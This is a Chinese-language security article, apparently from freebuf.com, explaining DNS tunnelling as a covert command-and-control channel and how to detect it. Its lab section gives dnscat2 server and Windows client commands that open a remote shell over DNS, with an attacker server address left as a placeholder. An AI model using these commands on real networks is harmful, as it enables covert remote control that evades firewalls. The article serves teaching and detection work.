1、简介
我们都知道,在网络中传输信息数据有很多协议可以使用,如HTTP、FTP、SMTP等,但是这些方法都有特别明显的数据传输特征。随着近年来APT(高级持续性威胁)、Botnet(肉机)、挖矿等等各种网络安全问题的频繁发生,想办法发现恶意程序回连就成为了防守方需做的日常任务。攻击者在形势的驱使下,后门、C&C通信逐步转向“低调”,近年来很多的攻击事件越来越趋向于构建隐蔽的C&C信道。因此,我们需要思考有哪些技术可以被利用到构建隐蔽信道中来,以攻击者的角度来思考对策。
2、DNS协议
谈到DNS协议,很多人是熟悉不过了,简单来说,就是一种域名与IP地址相对应的标准协议,它将难以记住的网站IP对应到较为易记的域名,而负责帮我们在请求的域名和IP之间进行转换的机器就称为DNS服务器。(为了确保DNS服务器的权威,在域名系统中定义了权威的根域名服务器、权威域名服务器等)
图1 DNS
3、DNS隧道
由于DNS是以UDP协议为基础的,所以除了用来作为域名解析,还可以将想要传输的数据封装在DNS协议中,然后以DNS请求和响应包完成传输数据(通信),即DNS隐蔽通信。DNS作为互联网世界里必不可少的服务,防火墙和其他安全防护设备很难完全对该服务进行过滤,因此对于攻击者来讲,利用53端口(默认的DNS服务端口)来进行隧道通信无疑是一个很好的选择。
DNS隧道依据其实现方式大致可分为直连和中继两类。
直连:用户端直接和指定的目标DNS服务器建立连接,然后将需要传输的数据编码封装在DNS协议中进行通信。这种方式的优点是具有较高速度,隐蔽性弱、特征明显。另外直连方式的限制比较多,如目前很多的企业网络为了尽可能的降低遭受网络攻击的风险,一般将相关策略配置为仅允许与指定的可信任DNS服务器之间的流量通过。
中继隧道:通过DNS迭代查询而实现的中继DNS隧道,这种方式及其隐秘,且可在绝大部分场景下部署成功。但由于数据包到达目标DNS服务器前需要经过多个节点的跳转,数据传输速度和传输能力较直连会慢很多。
图2 DNS隧道通信的基本原理
实现DNS隧道的关键要点:
(1) 规避DNS缓存机制。
(2) 可利用DNS查询类型及其载荷编码。
(3) 如何应对域名系统采用的C/S机制,即Server不可能发起连接,利用Client会定时向Server发送请求,保证二者之间的通信状态。
DNS隧道工具
(1) dns2tcp:支持直连模式的DNS隧道,只实现了简单的DNS隧道,相关命令和控制服务需要自行搭建,且已在kali系统中直接集成。
(2) iodine:最活跃、速度最快、支持直连和中继模式,且支持丰富的编码、请求类型选择(iodine为53号元素碘)。
(3) Dnscat2:封装在DNS协议中的加密C&C信道,直接运行工具即可实现数据传输、文件操作等命令和控制功能。
4、复现实验
实验环境:本次实验以Windows10作为客户端(受控机),kali作为服务端(控制机)。
连接方式:直连
工具:dnscat2
服务端:
root@kali:~/dnscat2/server# ruby ./dnscat2.rb
客户端:
使用powershell执行:
.\dnscat2-v0.07-client-win32.exe –dns server=(服务端IP) –secret=(填入服务端生成的随机密钥)
显示”Session established”字样表示隧道通信建立成功。
执行远控命令:
连接第一个会话:window -i 1
输入shell取会话的命令行,并连接新会话2,输入whoami命令。
Wireshark抓包:
可以发现,dnscat2在使用dns隧道通信时,恶意使用了TXT、MX、CNAME类型,将数据加密后编码在请求当中,相比正常的DNS请求数据,还是有很大的差异的(询问域名的异常、高频率的请求)。
WireShark抓包
藏在请求域名中的加密数据
5、总结
利用DNS隧道的确能构建出较为隐蔽通信的通信方式,但并不是无迹可循,在检测DNS隧道通信时,可以从以下几个方面来思考。
1. 传输的数据量相比正常的DNS数据更大。
2. 对同一域名或子域名的请求频率很高。
3. 请求的数据中有明显的编码特征。
[声明]本文仅限技术交流学习,严禁将本文内容发起任何网络攻击行为,否则后果自负。
来源:freebuf.com 2021-07-28 15:41:39 by: 南京聚铭网络
请登录后发表评论
注册